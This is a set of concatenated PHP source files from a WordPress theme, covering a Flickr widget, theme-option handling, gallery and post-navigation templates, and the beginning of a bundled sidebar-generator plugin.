$this->WP_Widget( 'fdc-flickr-widget', __('fdc FLICKR'), $widget_ops );
}
// Output of the widget
function widget( $args, $instance ) {
global $theme_option;
$title = apply_filters( 'widget_title', $instance['title'] );
$id = $instance['id'];
$num_fetch = $instance['num_fetch'];
$orderby = $instance['orderby'];
// Opening of widget
echo $args['before_widget'];
// Widget Content
if(!empty($id)){
$flickr = '?count=' . $num_fetch;
$flickr .= '&display=' . $orderby;
$flickr .= '&user=' . $id;
$flickr .= '&size=s&layout=x&source=user';
?>
<div class="fdc-flickr-widget">
<?php
if( !empty($title) ){
echo $args['before_title'] . $title . $args['after_title'];
}
?>
<div class="fdc-flickr-widget-content">
<script type="text/javascript" src="http://www.flickr.com/badge_code_v2.gne<?php echo $flickr; ?>"></script>
</div><!-- fdc-flickr-widget-content end -->
</div><!-- fdc-flickr-widget end -->
<?php
}
// Closing of widget
echo $args['after_widget'];
}
// Widget Form
function form( $instance ) {
$title = isset($instance['title'])? $instance['title']: '';
$id = isset($instance['id'])? $instance['id']: '';
$num_fetch = isset($instance['num_fetch'])? $instance['num_fetch']: 9;
$orderby = isset($instance['orderby'])? $instance['orderby']: 'latest';
?>
<!-- Text Input -->
<p>
<label for="<?php echo $this->get_field_id('title'); ?>">Title:</label>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
</p>
<!-- ID -->
<p>
<label for="<?php echo $this->get_field_id('id'); ?>">User ID:</label>
<input class="widefat" id="<?php echo $this->get_field_id('id'); ?>" name="<?php echo $this->get_field_name('id'); ?>" type="text" value="<?php echo $id; ?>"/>
<div>If you don't know your flickr ID, <a href="http://idgettr.com/" target="_blank">get it here</a></div>
</p>
<!-- Show Num -->
<p>
<label for="<?php echo $this->get_field_id('num_fetch'); ?>">Num Fetch:</label>
<input class="widefat" id="<?php echo $this->get_field_id('num_fetch'); ?>" name="<?php echo $this->get_field_name('num_fetch'); ?>" type="text" value="<?php echo $num_fetch; ?>" />
</p>
<!-- Order By -->
<p>
<label for="<?php echo $this->get_field_id('orderby'); ?>">Order By:</label>
<select class="widefat" name="<?php echo $this->get_field_name('orderby'); ?>" id="<?php echo $this->get_field_id('orderby'); ?>">
<option value="latest" <?php if(empty($orderby) || $orderby == 'latest') echo ' selected '; ?>>Latest</option>
<option value="random" <?php if($orderby == 'random') echo ' selected '; ?>>Random</option>
</select>
</p>
<?php
}
// Update the widget
function update( $new_instance, $old_instance ) {
$instance = array();
$instance['title'] = (empty($new_instance['title']))? '': strip_tags($new_instance['title']);
$instance['id'] = (empty($new_instance['id']))? '': strip_tags($new_instance['id']);
$instance['num_fetch'] = (empty($new_instance['num_fetch']))? '': strip_tags($new_instance['num_fetch']);
$instance['orderby'] = (empty($new_instance['orderby']))? '': strip_tags($new_instance['orderby']);
return $instance;
}
}
<file_sep>/wp-content/themes/TWWF/lib/theme-options/fdc-variables.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/*----------------------------------------------------------------*/
/* VARIABLES */
/*----------------------------------------------------------------*/
/// LAYOUT
$responsive = get_option('theme_name_opt_radio_responsive');
$layout = get_option('theme_name_opt_radio_layout');
$pos_toolbar_left = get_option('theme_name_opt_check_pos_toolbar_left');
$pos_toolbar_right = get_option('theme_name_opt_check_pos_toolbar_right');
$pos_brand = get_option('theme_name_opt_check_pos_brand');
$pos_navbar_left = get_option('theme_name_opt_check_pos_navbar_left');
$pos_navbar_right = get_option('theme_name_opt_check_pos_navbar_right');
$pos_top_a = get_option('theme_name_opt_check_pos_top_a');
$pos_top_b = get_option('theme_name_opt_check_pos_top_b');
$pos_left_sidebar_a = get_option('theme_name_opt_check_pos_left_sidebar_a');
$pos_left_sidebar_b = get_option('theme_name_opt_check_pos_left_sidebar_b');
$pos_inner_top = get_option('theme_name_opt_check_pos_inner_top');
$pos_inner_bottom = get_option('theme_name_opt_check_pos_inner_bottom');
$pos_right_sidebar_a = get_option('theme_name_opt_check_pos_right_sidebar_a');
$pos_right_sidebar_b = get_option('theme_name_opt_check_pos_right_sidebar_b');
$pos_bottom_a = get_option('theme_name_opt_check_pos_bottom_a');
$pos_bottom_b = get_option('theme_name_opt_check_pos_bottom_b');
$pos_footer_a = get_option('theme_name_opt_check_pos_footer_a');
$pos_footer_b = get_option('theme_name_opt_check_pos_footer_b');
$pos_footer_c = get_option('theme_name_opt_check_pos_footer_c');
$pos_footer_d = get_option('theme_name_opt_check_pos_footer_d');
/// BLOGINFO SHORTCODES
$bloginfo_shortcodes = get_option('theme_name_opt_check_bloginfo_shortcodes');
/// SOCIAL MEDIA
$twitter = get_option('theme_name_opt_twitter');
$facebook = get_option('theme_name_opt_facebook');
$gplus = get_option('theme_name_opt_gplus');
$linkedin = get_option('theme_name_opt_linkedin');
$pinterest = get_option('theme_name_opt_pinterest');
$youtube = get_option('theme_name_opt_youtube');
$vimeo = get_option('theme_name_opt_vimeo');
$spotify = get_option('theme_name_opt_spotify');
$flickr = get_option('theme_name_opt_flickr');
$instagram = get_option('theme_name_opt_instagram');
$skype = get_option('theme_name_opt_skype');
$behance = get_option('theme_name_opt_behance');
/// PLUGINS
$plugin_acf = get_option('theme_name_opt_check_acf');
$plugin_cpt = get_option('theme_name_opt_check_cpt');
$plugin_adminimize = get_option('theme_name_opt_check_adminimize');
$plugin_better_wp_security = get_option('theme_name_opt_check_wpsecurity');
$plugin_wp_smushit = get_option('theme_name_opt_check_smushit');
$plugin_user_avatar = get_option('theme_name_opt_check_user_avatar');
$plugin_fdc_fb_likebox = get_option('theme_name_opt_check_fdc_likebox');
$plugin_display_widgets = get_option('theme_name_opt_check_display_widgets');
$plugin_bootstrap_shortcodes = get_option('theme_name_opt_check_bootstrap_shortcodes');
$plugin_mega_menu = get_option('theme_name_opt_check_megamenu');
/// ADMIN
$admin_toolbar = get_option('theme_name_opt_check_toolbar');
$admin_login_bg_color = get_option('theme_name_opt_login_bg_color');
$admin_login_brand = get_option('theme_name_opt_login_brand');
/*----------------------------------------------------------------*/
/* UPDATES */
/*----------------------------------------------------------------*/
//function pu_register_settings(){
if( isset($_POST['update_settings']) ){
/// LAYOUT
update_option('theme_name_opt_radio_responsive', esc_attr($_POST['opt_radio_responsive']));
update_option('theme_name_opt_radio_layout', esc_attr($_POST['opt_radio_layout']));
update_option('theme_name_opt_check_pos_toolbar_left', esc_attr($_POST['opt_check_pos_toolbar_left']));
update_option('theme_name_opt_check_pos_toolbar_right', esc_attr($_POST['opt_check_pos_toolbar_right']));
update_option('theme_name_opt_check_pos_brand', esc_attr($_POST['opt_check_pos_brand']));
update_option('theme_name_opt_check_pos_navbar_left', esc_attr($_POST['opt_check_pos_navbar_left']));
update_option('theme_name_opt_check_pos_navbar_right', esc_attr($_POST['opt_check_pos_navbar_right']));
update_option('theme_name_opt_check_pos_top_a', esc_attr($_POST['opt_check_pos_top_a']));
update_option('theme_name_opt_check_pos_top_b', esc_attr($_POST['opt_check_pos_top_b']));
update_option('theme_name_opt_check_pos_left_sidebar_a', esc_attr($_POST['opt_check_pos_left_sidebar_a']));
update_option('theme_name_opt_check_pos_left_sidebar_b', esc_attr($_POST['opt_check_pos_left_sidebar_b']));
update_option('theme_name_opt_check_pos_inner_top', esc_attr($_POST['opt_check_pos_inner_top']));
update_option('theme_name_opt_check_pos_inner_bottom', esc_attr($_POST['opt_check_pos_inner_bottom']));
update_option('theme_name_opt_check_pos_right_sidebar_a', esc_attr($_POST['opt_check_pos_right_sidebar_a']));
update_option('theme_name_opt_check_pos_right_sidebar_b', esc_attr($_POST['opt_check_pos_right_sidebar_b']));
update_option('theme_name_opt_check_pos_bottom_a', esc_attr($_POST['opt_check_pos_bottom_a']));
update_option('theme_name_opt_check_pos_bottom_b', esc_attr($_POST['opt_check_pos_bottom_b']));
update_option('theme_name_opt_check_pos_footer_a', esc_attr($_POST['opt_check_pos_footer_a']));
update_option('theme_name_opt_check_pos_footer_b', esc_attr($_POST['opt_check_pos_footer_b']));
update_option('theme_name_opt_check_pos_footer_c', esc_attr($_POST['opt_check_pos_footer_c']));
update_option('theme_name_opt_check_pos_footer_d', esc_attr($_POST['opt_check_pos_footer_d']));
/// BLOGINFO SHORTCODES
update_option('theme_name_opt_check_bloginfo_shortcodes', esc_attr($_POST['opt_check_bloginfo_shortcodes']));
/// SOCIAL MEDIA
update_option('theme_name_opt_twitter', esc_attr($_POST['opt_twitter']));
update_option('theme_name_opt_facebook', esc_attr($_POST['opt_facebook']));
update_option('theme_name_opt_gplus', esc_attr($_POST['opt_gplus']));
update_option('theme_name_opt_linkedin', esc_attr($_POST['opt_linkedin']));
update_option('theme_name_opt_pinterest', esc_attr($_POST['opt_pinterest']));
update_option('theme_name_opt_youtube', esc_attr($_POST['opt_youtube']));
update_option('theme_name_opt_vimeo', esc_attr($_POST['opt_vimeo']));
update_option('theme_name_opt_spotify', esc_attr($_POST['opt_spotify']));
update_option('theme_name_opt_flickr', esc_attr($_POST['opt_flickr']));
update_option('theme_name_opt_instagram', esc_attr($_POST['opt_instagram']));
update_option('theme_name_opt_skype', esc_attr($_POST['opt_skype']));
update_option('theme_name_opt_behance', esc_attr($_POST['opt_behance']));
/// PLUGINS
update_option('theme_name_opt_check_acf', esc_attr($_POST['opt_check_acf']));
update_option('theme_name_opt_check_cpt', esc_attr($_POST['opt_check_cpt']));
update_option('theme_name_opt_check_adminimize', esc_attr($_POST['opt_check_adminimize']));
update_option('theme_name_opt_check_wpsecurity', esc_attr($_POST['opt_check_wpsecurity']));
update_option('theme_name_opt_check_smushit', esc_attr($_POST['opt_check_smushit']));
update_option('theme_name_opt_check_user_avatar', esc_attr($_POST['opt_check_user_avatar']));
update_option('theme_name_opt_check_fdc_likebox', esc_attr($_POST['opt_check_fdc_likebox']));
update_option('theme_name_opt_check_display_widgets', esc_attr($_POST['opt_check_display_widgets']));
update_option('theme_name_opt_check_bootstrap_shortcodes', esc_attr($_POST['opt_check_bootstrap_shortcodes']));
update_option('theme_name_opt_check_megamenu', esc_attr($_POST['opt_check_megamenu']));
/// ADMIN
update_option('theme_name_opt_check_toolbar', esc_attr($_POST['opt_check_toolbar']));
update_option('theme_name_opt_login_bg_color', esc_attr($_POST['opt_login_bg_color']));
update_option('theme_name_opt_login_brand', esc_attr($_POST['opt_login_brand']));
/// LAYOUT
$responsive = get_option('theme_name_opt_radio_responsive');
$layout = get_option('theme_name_opt_radio_layout');
$pos_toolbar_left = get_option('theme_name_opt_check_pos_toolbar_left');
$pos_toolbar_right = get_option('theme_name_opt_check_pos_toolbar_right');
$pos_brand = get_option('theme_name_opt_check_pos_brand');
$pos_navbar_left = get_option('theme_name_opt_check_pos_navbar_left');
$pos_navbar_right = get_option('theme_name_opt_check_pos_navbar_right');
$pos_top_a = get_option('theme_name_opt_check_pos_top_a');
$pos_top_b = get_option('theme_name_opt_check_pos_top_b');
$pos_left_sidebar_a = get_option('theme_name_opt_check_pos_left_sidebar_a');
$pos_left_sidebar_b = get_option('theme_name_opt_check_pos_left_sidebar_b');
$pos_inner_top = get_option('theme_name_opt_check_pos_inner_top');
$pos_inner_bottom = get_option('theme_name_opt_check_pos_inner_bottom');
$pos_right_sidebar_a = get_option('theme_name_opt_check_pos_right_sidebar_a');
$pos_right_sidebar_b = get_option('theme_name_opt_check_pos_right_sidebar_b');
$pos_bottom_a = get_option('theme_name_opt_check_pos_bottom_a');
$pos_bottom_b = get_option('theme_name_opt_check_pos_bottom_b');
$pos_footer_a = get_option('theme_name_opt_check_pos_footer_a');
$pos_footer_b = get_option('theme_name_opt_check_pos_footer_b');
$pos_footer_c = get_option('theme_name_opt_check_pos_footer_c');
$pos_footer_d = get_option('theme_name_opt_check_pos_footer_d');
/// BLOGINFO SHORTCODES
$bloginfo_shortcodes = get_option('theme_name_opt_check_bloginfo_shortcodes');
/// SOCIAL MEDIA
$twitter = get_option('theme_name_opt_twitter');
$facebook = get_option('theme_name_opt_facebook');
$gplus = get_option('theme_name_opt_gplus');
$linkedin = get_option('theme_name_opt_linkedin');
$pinterest = get_option('theme_name_opt_pinterest');
$youtube = get_option('theme_name_opt_youtube');
$vimeo = get_option('theme_name_opt_vimeo');
$spotify = get_option('theme_name_opt_spotify');
$flickr = get_option('theme_name_opt_flickr');
$instagram = get_option('theme_name_opt_instagram');
$skype = get_option('theme_name_opt_skype');
$behance = get_option('theme_name_opt_behance');
/// PLUGINS
$plugin_acf = get_option('theme_name_opt_check_acf');
$plugin_cpt = get_option('theme_name_opt_check_cpt');
$plugin_adminimize = get_option('theme_name_opt_check_adminimize');
$plugin_better_wp_security = get_option('theme_name_opt_check_wpsecurity');
$plugin_wp_smushit = get_option('theme_name_opt_check_smushit');
$plugin_user_avatar = get_option('theme_name_opt_check_user_avatar');
$plugin_fdc_fb_likebox = get_option('theme_name_opt_check_fdc_likebox');
$plugin_display_widgets = get_option('theme_name_opt_check_display_widgets');
$plugin_bootstrap_shortcodes = get_option('theme_name_opt_check_bootstrap_shortcodes');
$plugin_mega_menu = get_option('theme_name_opt_check_megamenu');
/// ADMIN
$admin_toolbar = get_option('theme_name_opt_check_toolbar');
$admin_login_bg_color = get_option('theme_name_opt_login_bg_color');
$admin_login_brand = get_option('theme_name_opt_login_brand');
}
<file_sep>/wp-content/themes/TWWF/lib/widgets/ini.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/// RECENT POSTS
require_once dirname( __FILE__ ).'/fdc-recent-posts.php';
/// TEXT WIDGET
require_once dirname( __FILE__ ).'/fdc-text-widget.php';
/// GOOGLE MAP
require_once dirname( __FILE__ ).'/fdc-google-map.php';
/// FLICKR WIDGET
require_once dirname( __FILE__ ).'/fdc-flickr-widget.php';
/// INSTAGRAM WIDGET
require_once dirname( __FILE__ ).'/fdc-instagram-widget.php';
/// IMAGE WIDGET
require_once dirname( __FILE__ ).'/image-widget-4.1/image-widget.php';
/// FACEBOOK LIKEBOX
if( $plugin_fdc_fb_likebox ){
require_once dirname( __FILE__ ).'/fdc-fb-likebox.php';
}
<file_sep>/wp-content/themes/TWWF/widgets/widget-sample.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action( 'widgets_init', 'fdc_widget_sample' ); // function to load my widget
// function to register my widget
function fdc_widget_sample(){
register_widget( 'fdc_widget_sample' );
}
class fdc_widget_sample extends WP_Widget{
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
function __construct(){
$widget_ops = array(
'classname' => 'example',
'description' => __('Widget description')
);
$this->WP_Widget( 'fdc-widget-sample', __('FDC Widget Sample'), $widget_ops );
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget($args, $instance){
extract( $args );
echo $before_widget;
if( $title )
echo $before_title . $title . $after_title;
/*
$page1 = apply_filters('page1', empty($instance['page1']) ? '' : $instance['page1'], $instance, $this->id_base);
$page2 = apply_filters('page2', empty($instance['page2']) ? '' : $instance['page2'], $instance, $this->id_base);
$page3 = apply_filters('page3', empty($instance['page3']) ? '' : $instance['page3'], $instance, $this->id_base);
echo '<div class="terms">';
echo '<div class="col-sm-3"><a href="'. get_page_link($page1) .'">Términos</a></div>';
echo '<div class="col-sm-3"><a href="'. get_page_link($page2) .'">Privacidad</a></div>';
echo '<div class="col-sm-6"><a href="'. get_page_link($page3) .'">Política y Seguridad</a></div>';
echo '</div>';
*/
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
//$instance = $old_instance;
//$instance['page1'] = $new_instance['page1'];
//$instance['page2'] = $new_instance['page2'];
//$instance['page3'] = $new_instance['page3'];
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ){
//$page1 = isset($instance['page1']) ? esc_attr($instance['page1']) : '';
//$page2 = isset($instance['page2']) ? esc_attr($instance['page2']) : '';
//$page3 = isset($instance['page3']) ? esc_attr($instance['page3']) : '';
?>
<p>Widget sample content.</p>
<!--
<p>
<label for="<?php echo $this->get_field_id('page1'); ?>" style="width:130px; margin-right:10px; display:inline-block;">Términos:</label>
<input class="widefat" id="<?php echo $this->get_field_id('page1'); ?>" name="<?php echo $this->get_field_name('page1'); ?>" type="text" value="<?php echo $page1; ?>" style="width:100px;" />
</p>
<p>
<label for="<?php echo $this->get_field_id('page2'); ?>" style="width:130px; margin-right:10px; display:inline-block;">Privacidad:</label>
<input class="widefat" id="<?php echo $this->get_field_id('page2'); ?>" name="<?php echo $this->get_field_name('page2'); ?>" type="text" value="<?php echo $page2; ?>" style="width:100px;" />
</p>
<p>
<label for="<?php echo $this->get_field_id('page3'); ?>" style="width:130px; margin-right:10px; display:inline-block;">Política y Seguridad:</label>
<input class="widefat" id="<?php echo $this->get_field_id('page3'); ?>" name="<?php echo $this->get_field_name('page3'); ?>" type="text" value="<?php echo $page3; ?>" style="width:100px;" />
</p>
-->
<?php
}
}
?>
<file_sep>/wp-content/themes/TWWF/sections/bottom-a.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_active_sidebar('bottom_a') ):
?>
<div class="panel panel-success">
<div class="panel-body">
<?php fdc_bottom_a(); ?>
</div><!-- panel-body end -->
</div><!-- panel end -->
<?php endif; ?><file_sep>/wp-content/themes/TWWF/lib/functions/fdc-gallery-options.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action('print_media_templates', function(){
?>
<!-- GALLERY TYPE -->
<script type="text/html" id="tmpl-gallery-type">
<label class="setting">
<span>Gallery Type</span>
<select data-setting="gallery_type">
<option value="">Default</option>
<option value="slider">Slider</option>
</select>
</label>
</script>
<!-- GALLERY SIZE -->
<script type="text/html" id="tmpl-gallery-size">
<label class="setting">
<span>Gallery Size</span>
<select data-setting="size">
<option value="thumbnail">thumbnail</option>
<option value="medium">medium</option>
<option value="large">large</option>
<option value="full">full</option>
</select>
</label>
</script>
<script>
jQuery(document).ready(function(){
_.extend(wp.media.gallery.defaults, {
gallery_type: '',
size: 'medium'
});
// merge default gallery settings template with yours
wp.media.view.Settings.Gallery = wp.media.view.Settings.Gallery.extend({
template: function(view){
return wp.media.template('gallery-settings')(view)
+ wp.media.template('gallery-type')(view)
+ wp.media.template('gallery-size')(view);
}
});
});
</script>
<?php
});
add_filter('post_gallery', 'fdc_custom_gallery', 10, 2);
function fdc_custom_gallery($string, $attr){
$post_id = get_the_ID();
$posts = get_posts(array('include' => $attr['ids'],'post_type' => 'attachment'));
$col = $attr['columns'];
$type = $attr['gallery_type'];
$size = $attr['size'];
//var_dump($attr);
if( $type == 'slider' ):
$gal = '<div id="gallery-'. $post_id .'" class="gallery gallery-slider">';
else:
$gal = '<div id="gallery-'. $post_id .'" class="gallery">';
endif;
$gal .= '<div class="row">';
foreach($posts as $imagePost){
$gal .= '<div class="gallery-col-'. $col .'">'. wp_get_attachment_image($imagePost->ID, $size, false, array( 'class' => 'img-responsive' )) .'</div>';
}
$gal .= '</div>';// row end
$gal .= '</div>';// gallery end
return $gal;
}
<file_sep>/wp-content/themes/TWWF/lib/functions/fdc-prevnext.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
function fdc_post_nav(){
?>
<div class="panel panel-default">
<div class="panel-body">
<div class="row">
<?php
$prevPost = get_previous_post(true);
?>
<div class="col-sm-6">
<?php
if( $prevPost ):
$args = array(
'posts_per_page' => 1,
'include' => $prevPost->ID
);
$prevPost = get_posts($args);
foreach( $prevPost as $post ){
setup_postdata($post);
$id = $post->ID;
$content = get_the_content($id);
$trim_content = wp_trim_words( $content, 10 ,'...' );
if( has_post_thumbnail($id) ): ?>
<div class="col-sm-4">
<a href="<?php echo get_permalink($id); ?>"><?php echo get_the_post_thumbnail($id, 'medium img-responsive thumbnail'); ?></a>
</div><!-- col end -->
<?php endif; ?>
<div class="col-sm-8">
<a href="<?php echo get_permalink($id); ?>">
<h5><?php echo get_the_title($id); ?></h5>
<p><small><?php echo strip_shortcodes($trim_content); ?></small></p>
</a>
</div><!-- col end -->
<?php
wp_reset_postdata();
} //end foreach
endif; // end if
?>
</div><!-- col end -->
<div class="col-sm-6">
<?php
$nextPost = get_next_post(true);
if( $nextPost ):
$args = array(
'posts_per_page' => 1,
'include' => $nextPost->ID
);
$nextPost = get_posts($args);
foreach( $nextPost as $post ){
setup_postdata($post);
$id = $post->ID;
$content = get_the_content($id);
$trim_content = wp_trim_words( $content, 10 ,'...' );
?>
<div class="col-sm-8 text-right <?php echo( !has_post_thumbnail($id) ) ? 'col-sm-push-4' : null; ?>">
<a href="<?php echo get_permalink($id); ?>">
<h5><?php echo get_the_title($id); ?></h5>
<p><small><?php echo strip_shortcodes($trim_content); ?></small></p>
</a>
</div><!-- col end -->
<?php if( has_post_thumbnail($id) ): ?>
<div class="col-sm-4">
<a href="<?php echo get_permalink($id); ?>"><?php echo get_the_post_thumbnail($id, 'medium img-responsive thumbnail'); ?></a>
</div><!-- col end -->
<?php endif; ?>
<?php
wp_reset_postdata();
} //end foreach
endif;
?>
</div><!-- col end -->
</div><!-- row end -->
</div><!-- panel-body end -->
</div><!-- panel end -->
<?php
}//fdc_post_nav()<file_sep>/wp-content/themes/TWWF/lib/plugins/smk-sidebar-generator-2.3.2/smk-sidebar-generator.php
<?php
/*
Plugin Name: SMK Sidebar Generator
Plugin URI: https://github.com/Smartik89/Wordpress-Sidebar-Generator
Description: This plugin generates as many sidebars as you need. Then allows you to place them on any page you wish.
Author: Smartik
Version: 2.3.2
Author URI: http://smartik.ws/
*/
//Do not allow direct access to this file.
if( ! function_exists('add_action') ) die('Not funny!');
//var_dump(dirname(__FILE__));
//Some usefull constants
if(!defined('SMK_SBG_VERSION')) define( 'SMK_SBG_VERSION', '2.3.2' );
if(!defined('SMK_SBG_PATH')) define( 'SMK_SBG_PATH', get_template_directory_uri().'/lib/plugins/smk-sidebar-generator-2.3.2/' );
if(!defined('SMK_SBG_URI')) define( 'SMK_SBG_URI', get_template_directory_uri().'/lib/plugins/smk-sidebar-generator-2.3.2/' );
//SMK Sidebar Generator Class
if( ! class_exists('SMK_Sidebar_Generator')) {
class SMK_Sidebar_Generator {
/*
Plugin menu/page title
----------------------------------------------------------- */
var $sbg_name;
/*
Plugin register
----------------------------------------------------------- */
var $settings_reg;
var $plugin_option;
/*
----------------------------------------------------------------------
Constructor
----------------------------------------------------------------------
*/
public function __construct(){
//Plugin name, this is the name for menu and page title.
$this->sbg_name = __('Sidebar Generator', 'smk_sbg');
//Plugin register
$this->settings_reg = 'smk_sidebar_generator_register';
$this->plugin_option = 'smk_sidebar_generator_option';
//Actions
add_action( 'admin_menu', array(&$this, 'admin_menu') ); //Create admin menu
add_action( 'admin_init', array(&$this, 'reg_setting') ); //Register setting
add_action( 'admin_enqueue_scripts', array(&$this,'admin_scripts' ) ); //Admin scritps
add_action( 'widgets_init', array(&$this, 'register_sidebars') ); //Register all sidebars
add_action( 'wp_ajax_validate_name', array(&$this, 'validate_name') ); //Validate name
add_action( 'wp_ajax_import_all_sidebars', array(&$this, 'import_all_sidebars') ); //Export all sidebars
}
/*
----------------------------------------------------------------------
Register sidebars
----------------------------------------------------------------------
*/
public function register_sidebars() {
//Catch saved options
$sidebars = get_option( $this->plugin_option );
//Make sure if we have valid sidebars
if( isset($sidebars['sidebars']) && is_array($sidebars['sidebars']) && !empty($sidebars['sidebars']) ){
//Register each sidebar
foreach ($sidebars['sidebars'] as $sidebar) {
if( isset($sidebar) && !empty($sidebar) ){
register_sidebar(
array(
'name' => $sidebar['name'],
'id' => 'smk_sidebar_' . $sidebar['id'],
'description' => '',
'before_widget' => '<div id="%1$s" class="widget smk_sidebar_' . $sidebar['id'] .' %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>'
)
);
}
}
}
}
/*
----------------------------------------------------------------------
Admin menu
----------------------------------------------------------------------
*/
public function admin_menu(){
add_submenu_page('themes.php', $this->sbg_name, $this->sbg_name, 'manage_options', strtolower( __CLASS__ ), array(&$this, 'admin_page') );
}
/*
----------------------------------------------------------------------
Register setting
----------------------------------------------------------------------
*/
public function reg_setting() {
register_setting( $this->settings_reg, $this->plugin_option );
}
/*
----------------------------------------------------------------------
Validate name
----------------------------------------------------------------------
*/
public function validate_name() {
$sidebars = get_option( $this->plugin_option );
$new_name = trim( $_POST['new_name'] );
$exists = 'ok';//Do not exist
if( isset($sidebars) && is_array($sidebars) ){
if( isset($sidebars['sidebars']) && is_array($sidebars['sidebars']) ){
foreach ($sidebars['sidebars'] as $key => $v) {
if( in_array(strtolower( $new_name ), array_map('strtolower', $v) ) ){
$exists = 'fail';//Exist
}
}
}
}
echo $exists;
die();
}
/*
----------------------------------------------------------------------
Enqueue scripts and styles
----------------------------------------------------------------------
*/
public function admin_scripts() {
global $pagenow;
if( 'themes.php' == $pagenow && isset( $_GET['page'] ) && $_GET['page'] == strtolower( __CLASS__ ) ){
//Styles
wp_register_style( 'smk_sbg_styles', SMK_SBG_URI . 'assets/styles.css', '', SMK_SBG_VERSION );
wp_enqueue_style( 'smk_sbg_styles' );
//Scripts
wp_register_script( 'smk_sbg_scripts', SMK_SBG_URI . 'assets/scripts.js', array('jquery', 'jquery-ui-core'), SMK_SBG_VERSION );
//Enqueue scripts
wp_enqueue_script('jquery');
wp_enqueue_script('jquery-ui-core');
wp_enqueue_script('jquery-ui-sortable');
wp_enqueue_script('jquery-ui-slider');
wp_enqueue_script( 'smk_sbg_scripts' );
wp_localize_script('smk_sbg_scripts', 'smk_sbg_lang', array(
'remove' => __('Remove', 'smk_sbg'),
'not_saved_msg' => __("You've made changes, don't forget to save.", 'smk_sbg'),
'ok' => __("Changes were saved successfully.", 'smk_sbg'),
'fail' => __("An unexpected error ocurred.", 'smk_sbg'),
'created' => __("The sidebar was successfully created.", 'smk_sbg'),
's_exists' => __("The sidebar already exists. Please change the name.", 'smk_sbg'),
'empty' => __("Please enter a name for this sidebar.", 'smk_sbg'),
's_remove' => __("Are you sure? If you remove this sidebar it can't be restored.", 'smk_sbg'),
's_removed' => __("Sidebar Removed", 'smk_sbg'),
'data_imported' => __("Data imported successfully.", 'smk_sbg'),
'spin' => '<span class="smk_sbg_spin"></span>',
)
);
}
}
/*
----------------------------------------------------------------------
Admin page
----------------------------------------------------------------------
*/
public function admin_page(){
$text = array(
__('Add new', 'smk_sbg'),//0
__('Save Changes', 'smk_sbg'),//1
__('Sidebar Name:', 'smk_sbg'),//2
__('ID:', 'smk_sbg'),//3
__('Shortcode:', 'smk_sbg'),//4
__('Remove', 'smk_sbg'),//5
__('Import', 'smk_sbg'),//6
);
echo '<div class="wrap smk_sbg_main_block">';
//delete_option($this->plugin_option);//DO NOT UNCOMMENT THIS OR ALL SIDEBARS WILL BE DELETED
//Messages
echo '<div class="smk_sbg_message"></div>';
//Page UI
echo '<div class="sbg_clearfix">';
echo '<div class="sbg_grid_50">';
screen_icon();
echo '<h2>'. $this->sbg_name .' <span class="smk_sbg_version">v.' . SMK_SBG_VERSION .'</span></h2>';
echo '</div>';
echo '<div class="sbg_grid_50">';
//Main menu
echo '<div class="smk_sbg_main_menu">
<span data-id="tab_main_form" class="active">'. __('Sidebars', 'smk_sbg') .'</span>
<span data-id="tab_export">'. __('Export', 'smk_sbg') .'</span>
<span data-id="tab_import">'. __('Import', 'smk_sbg') .'</span>
<span data-id="tab_how_to">'. __('How to use?', 'smk_sbg') .'</span>
</div>';
echo '</div>';
echo '</div>';
// TAB main form
echo '<div id="tab_main_form" class="smk_sbg_tab active">';
//Form to update/save options
echo '<form method="post" action="options.php" class="smk_sbg_main_form">';
//Add settings fields(ex: nonce)
settings_fields( $this->settings_reg );
//Create the sidebar/Save changes
echo '<div class="smk_sbg_hf_block sbg_clearfix">';
echo '<input type="text" class="smk_sbg_name" />';
echo '<span class="smk_sbg_button smk_sbg_add_new" data-option="'. $this->plugin_option .'">'. $text[0] .'</span>';
echo '<input type="submit" name="submit" id="submit" class="smk_sbg_button smk_sbg_save_button" value="'. $text[1] .'">';
echo '</div>';
//Columns labels
echo '<div class="smk_sbg_hf_block smk_hf_top0 sbg_clearfix">';
echo '<span class="smk_sbg_col_title sbg_name">'. $text[2] .'</span>';
echo '<span class="smk_sbg_col_title sbg_id">'. $text[3] .'</span>';
echo '<span class="smk_sbg_col_title sbg_shortcode">'. $text[4] .'</span>';
echo '</div>';
//Catch saved options
$sidebars = get_option( $this->plugin_option );
//Set the counter. We need it to set the sidebar ID
$count = isset($sidebars['count']) ? $sidebars['count'] : 1;
echo '<input type="hidden" class="smk_sbg_count" name="'. $this->plugin_option .'[count]" value="'. $count .'" />';
//All created sidebars will be included in this block
echo '<div class="smk_sbg_all_sidebars">';
//Make sure we have valid sidebars
if( isset($sidebars['sidebars']) && is_array($sidebars['sidebars']) && !empty($sidebars['sidebars']) ){
//Display each sidebar
foreach ($sidebars['sidebars'] as $sidebar) {
if( isset($sidebar) && !empty($sidebar) ){
echo '<div class="smk_sbg_one_sidebar">
<span class="smk_sbg_handle"></span>
<input class="smk_sbg_form_created_id" type="hidden" value="'. $sidebar['id'] .'" name="'. $this->plugin_option .'[sidebars]['. $sidebar['id'] .'][id]" />
<input class="smk_sbg_form_created" type="text" value="'. $sidebar['name'] .'" name="'. $this->plugin_option .'[sidebars]['. $sidebar['id'] .'][name]" />
<span class="smk_sbg_code smk_sbg_code_id"><code>smk_sidebar_' . $sidebar['id'] . '</code></span>
